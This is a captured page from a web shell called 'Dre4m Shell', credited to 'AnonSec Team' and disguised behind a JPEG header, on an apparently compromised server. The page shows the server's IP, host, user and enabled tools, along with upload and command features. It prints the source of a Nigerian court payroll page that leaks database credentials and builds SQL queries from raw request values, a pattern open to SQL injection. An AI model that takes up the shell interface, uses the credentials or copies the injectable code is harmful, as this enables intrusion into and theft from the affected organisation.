ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.90.90
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/editSignatory.php
<?php
session_start(); 
require_once('business logic/classes/users.php');

$con = mysqli_connect("localhost","sanfas93_payroll","_nicn.payroll","sanfas93_payroll");



 ?>

  <?php
//$getSignatory1 = mysqli_query($con, 'select * from tblsignatory where category = 1 order by rank');
//$getSignatory2 = mysqli_query($con, 'select * from tblsignatory where category = 2 ');
//$getSignatory3 = mysqli_query($con, 'select * from tblsignatory where category = 3 ');
        
 ?>

<?php

 $month     = $_GET['month'];
 $year      = $_GET['year'];
       


      $getSignatory =  mysqli_query($con, "select * from tblsignatory" );
      
       //$getSignatory2 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =2" );             
       //$getSignatory3 =  mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =3" );

       $numcount = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year'" );  
       $count = mysqli_num_rows($numcount);
    if($count > 1)
    {

 $s1 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =1" ); 
 $signatory1 = mysqli_fetch_assoc($s1);
 $s2 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =2" ); 
 $signatory2 = mysqli_fetch_assoc($s2);
 $s3 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =3" ); 
 $signatory3 = mysqli_fetch_assoc($s3);

   
  }

if(isset($_POST['action']))
{
       
      $phone1         = $_POST['phone1'];
       $sig1           = $_POST['signatory1'];
        $phone2         = $_POST['phone2'];
        $sig2           = $_POST['signatory2'];
        $phone3         = $_POST['phone3'];
        $sig3           = $_POST['signatory3'];
        //$month          = trim($_POST['month']);
        //$year           = trim($_POST['year']);
        $name1          = $_POST['name1'];
        $name2          = $_POST['name2'];
        $name3          = $_POST['name3'];
        $date           = date('Y-m-d');
         $month     = $_GET['month'];
         $year      = $_GET['year'];
  

        
          $sign1 = "update signatory set name='$name1',phone='$phone1',month='$month',year='$year',sequence =1,created_at = '$date' where signatoryId = '$sig1' and month = '$month' and year = '$year'";
         
          $sign2 = "update signatory set name='$name2',phone='$phone2',month='$month',year='$year',sequence =2,created_at = '$date' where signatoryId = '$sig2' ";

         $sign3 = "update signatory set name='$name3',phone='$phone3',month='$month',year='$year',sequence =3,created_at = '$date' where signatoryId = '$sig3' and month = '$month' and year = '$year'";
         
           if ($con->query($sign1) === TRUE && $con->query($sign2) === TRUE && $con->query($sign3) === TRUE) {
    $message = '<div class="success">Successfully Updated</div>';
} else {
    $message = '<div class="success">Error Updating Signatories</div>';
}        
       

}
?>

<?php
//require_once('business login/classes/.php');

$user = new User();
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if($access > 2)
   header("location:delay.php");

if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//

?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Classification Code</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="js/jQuery-2.2.0.min.js"></script>

<script type="text/javascript">
$( function() {

  $("#signatory1").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
 // headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "post",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas[0].phoneno);   
    //alert(datas.phoneno);
   $('#phone1').val(datas[0].phoneno);
    $('#name1').val(datas[0].fullname);
  }
});
});


  $("#signatory2").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
  //headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "post",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas[0].phoneno);   
    //alert(datas.phoneno);
   $('#phone2').val(datas[0].phoneno);
    $('#name2').val(datas[0].fullname);
  }
});
});

$("#signatory3").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
 // headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "post",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas[0].phoneno);   
    //alert(datas.phoneno);
   $('#phone3').val(datas[0].phoneno);
    $('#name3').val(datas[0].fullname);
  }
});
});


});
</script>


<style type="text/css">
<!--
.style25 {  font-family: Verdana, Arial, Helvetica, sans-serif;
  color: #FF0000;
}
a:link {
  text-decoration: none;
}
a:visited {
  text-decoration: none;
}
a:hover {
  text-decoration: underline;
}
a:active {
  text-decoration: none;
}
.inputs { background-color: #ffffff;
  margin: 2px;
  padding: 2px;
  border: 1px solid #FF8A00;
color:#000;
}
-->
select
{
color:#000;
}
</style>
<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
        
     
 
if(form.name.value == "")
{
alert( "Enter Bank Name" );
return false;
}
else if(form.branch.value == "")
{
alert( "Enter Bank Branch" );
return false;
}

else if( form.sort_code.value == "")
{
alert( "Enter Sort Code " );
return false;
}
else if( form.rank.value == "")
{
alert( "Enter rank " );
return false;
}
else if( form.bank.value == "")
{
alert( "Select Bank " );
return false;
}

else if( form.division.value == "")
{
alert( "Select Division " );
return false;
}
else if( form.year.value == "")
{
alert( "Enter Year " );
return false;
}
  
}
</script> 
<script language="javascript" src="js/cal2.js">
/*
Xin's Popup calendar script-  Xin Yang (http://www.yxscripts.com/)
Script featured on/available at http://www.dynamicdrive.com/
This notice must stay intact for use
*/
</script>
<script language="javascript" src="js/cal_conf2.js"></script>
</head>

<body onLoad="document.login.name.focus()">
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="33%">&nbsp;<a href="userArea.php">Home</a> </td>
        <td width="67%"><?php 
       //$user->getLink($access);
        $user->get_fullname($uid);
    
    ?><a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><?php require('links.php');?>
<br /></td>
    <td valign="top"><table width="310" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="310" colspan="3"><br />
        <fieldset>
          <legend>Consolidated Payroll Report<br />
            </legend>
            <div> <?php echo $message; ?></div>
          <form method="post" action="">
<table width="100%">
 
  <tr>
    <td>
    <label for="year">Signatory 2</label>
    <select name="signatory1" id="signatory1" required="true" class="form-control" >
        <option value="">Select</option>
        <?php
        foreach($getSignatory as $list)
        {
        if($list['fullname'] == $signatory1['name'])
        {
        echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>';
        }
        else
        {
        echo '<option value="'.$list['signatoryID'].'">'.$list['name'].'</option>';
        }


        }
        ?>
                </select>  
    </td>
    <td>
    <label for="month">Phone</label>
    <input type="text" name="phone1" id="phone1" class="form-control" value="<?php echo $signatory1['phone']; ?>">
    <input type="hidden" name="name1" id="name1" class="form-control" value="<?php echo $signatory1['name']; ?>">
    </td>
  </tr>
  <tr>
    <td>
    <label for="year">Signatory 2</label>
    <select name="signatory2" id="signatory2" class="form-control">
                <option value="">Select</option>
                <?php
        foreach($getSignatory as $list)
        {
        if($list['fullname'] == $signatory2['name'])
        {
        echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>';
        }
        else
        {
        echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>';
        }


        }
        ?>
                </select>
    </td>
    <td>
    <label for="bank">Phone</label>
   <input type="text" name="phone2" id="phone2" class="form-control" value="<?php echo $signatory2['phone']; ?>">
   <input type="hidden" name="name2" id="name2" class="form-control" value="<?php echo $signatory2['name']; ?>">

    </td>
  </tr>
  <tr>
    <td>
    <label for="year">Signatory 3</label>
    <select name="signatory3" id="signatory3" class="form-control">
                <option value="">Select</option>
               <?php
        foreach($getSignatory as $list)
        {
        if($list['fullname'] == $signatory3['name'])
        {
        echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>';
        }
        else
        {
        echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>';
        }


        }
        ?>
                 </select>
    </td>
    <td>
    <label for="bank">Phone</label>
   <input type="text" name="phone3" id="phone2" class="form-control" value="<?php echo $signatory3['phone']; ?>">
   <input type="hidden" name="name3" id="name2" class="form-control" value="<?php echo $signatory3['name']; ?>">

    </td>
  </tr>
  
  <tr>
    <td><button name="action" id="action" class="btn btn-success" type="submit">UPDATE</button></td>
    <td>&nbsp;</td>
  </tr>
</table>
</form>


        </fieldset></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td>
    </td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team